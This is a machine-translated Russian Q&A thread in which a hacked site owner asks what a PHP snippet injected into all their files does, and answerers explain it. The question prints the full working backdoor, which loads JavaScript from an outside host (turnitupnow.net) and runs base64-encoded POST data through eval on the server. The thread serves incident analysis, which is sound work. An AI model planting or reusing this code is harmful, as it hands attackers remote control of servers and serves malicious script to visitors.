Получил взломан - Кто-нибудь знает, что делает этот код PHP? - PullRequest
10 голосов
/ 09 ноября 2011

Наш сервер был взломан каким-то методом SQL-инъекции (теперь исправлен). Все наши PHP-файлы добавлены в самый верх каждого файла.

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

Кажется, он устанавливает cookie, но я не представляю, что он делает.

Любые эксперты, способные понять, что это делает и, возможно, как выглядит имя файла cookie, могут выглядеть, поэтому я могу рассказать об этом любым пользователям и т. Д.

UPDATE Видно, что эксплойт был вызван плагином в Zenphoto Gallery Software под названием Tiny_MCE.

Ответы [ 2 ]

10 голосов
/ 09 ноября 2011

Сначала он устанавливает печенье. (с именем lb11) на значение 102.

Если он (позже?) Находит cookie, он устанавливает для cookie случайное значение между 1000 и 9000, чтобы он больше не делал этого: имеет ли пользователь запросить (и выполнить) Javascript, который отправляет, который заразил URL совершил звонок, а затем обновил страницу (так что произошло после запуска JavaScript.

Но в любом случае, если параметр "showimg" передается на страницу, он просматривает содержимое этой страницы и выполняет его на сервере.

Итак, если этот код присутствует, он запустит javascript (который также сообщает серверу, какой URL-адрес заражен, а затем разрешит пользователю выполнить произвольный код (через параметр showimg) на зараженном сервере.

Это имеет 2 уровня атаки, он может атаковать клиента с помощью javascript, а затем может атаковать сервер и запускать на нем произвольный код.

0 голосов
/ 09 ноября 2011

Я могу ошибаться, но, судя по всему (без проверки ссылок в коде);это может быть попытка внедрить некоторый клиентский JavaScript, который может быть вредоносным.Обычно это заражает компьютер посетителей вредоносным ПО и т. Д.

Что касается имени файла cookie.Я бы попросил ваших посетителей удалить все файлы cookie для вашего домена, но, судя по всему, файл cookie называется «lb11»

Мне не хотелось просматривать ссылки, как вы понимаете;)

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...